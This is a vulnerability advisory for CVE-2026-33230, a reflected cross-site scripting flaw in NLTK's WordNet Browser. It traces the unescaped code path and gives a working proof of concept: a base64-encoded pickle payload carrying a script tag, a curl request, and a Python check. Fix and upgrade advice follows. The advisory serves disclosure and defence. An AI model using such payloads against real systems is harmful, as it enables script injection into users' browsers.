CVE-2026-33230: nltk Vulnerable to Cross-site Scripting
Summary nltk.app.wordnetapp contains a reflected cross-site scripting issue in the lookup... route. A crafted lookup<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details The vulnerable flow is in nltk/app/wordnetapp.py:
- nltk/app/wordnetapp.py:144 - Requests starting with lookup are handled as HTML responses: - page, word = pagefromhref(sp)
- nltk/app/wordnetapp.py:755 - pagefromhref() calls pagefromreference(Reference.decode(href))
- nltk/app/wordnetapp.py:769 - word = href.word
- nltk/app/wordnetapp.py:796 - If no results are found, word is inserted directly into the HTML body: - body = "The word or words '%s' were not found in the dictionary." % word
This is inconsistent with the search route, which does escape user input:
- nltk/app/wordnetapp.py:136 - word = html.escape(...)
As a result, a malicious lookup... payload can inject script into the response page.
The issue is exploitable because:
- Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state. - The decoded word is reflected into HTML without html.escape(). - The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.
PoC 1. Start the WordNet Browser in an isolated Docker environment:
bash docker run -d --name nltk-wordnet-web -p 8002:8002 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8002, False)"
2. Use the following crafted payload, which decodes to:
python ("<script>alert(1)</script>", {})
Encoded payload:
text gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
3. Request the vulnerable route:
bash curl -s "http://127.0.0.1:8002/lookupgAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
4. Observed result:
text The word or words '<script>alert(1)</script>' were not found in the dictionary. <img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />
I also validated the issue directly at function level in Docker:
python import base64 import pickle
from nltk.app.wordnetapp import pagefromhref
payload = base64.urlsafeb64encode( pickle.dumps(("<script>alert(1)</script>", {}), -1) ).decode()
page, word = pagefromhref(payload) print(word) print("<script>alert(1)</script>" in page)
Observed output:
text WORD= <script>alert(1)</script> HASSCRIPT= True
Impact This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab - manipulate the page content shown to the user - issue same-origin requests to other WordNet Browser routes - potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnetapp as a local or self-hosted HTTP service and open attacker-controlled links.
Other sources
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnetapp contains a reflected cross-site scripting issue in the lookup... route. A crafted lookup<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.
— NVD
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnetapp contains a reflected cross-site scripting issue in the lookup... route. A crafted lookuppayload URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.
— IBM
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
nltk.app.wordnet_appto a version that resolves this vulnerability.Patch 1c3f799607eeb088cab2491dcf806ae83c29ad8f
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33230?
CVE-2026-33230 is classified as a reflected cross-site scripting vulnerability, which can potentially allow attackers to execute arbitrary JavaScript in the context of the victim's browser.
How does CVE-2026-33230 occur?
CVE-2026-33230 occurs when user-supplied data is reflected in the HTML output of the 'lookup_' route without proper escaping.
Which versions of NLTK are affected by CVE-2026-33230?
CVE-2026-33230 affects NLTK versions up to and including 3.9.3.
How do I fix CVE-2026-33230?
To fix CVE-2026-33230, upgrade to a patched version of NLTK that addresses the reflected cross-site scripting vulnerability.
What is the impact of CVE-2026-33230?
The impact of CVE-2026-33230 includes potential exploitation by attackers to inject malicious scripts, posing significant security risks to users.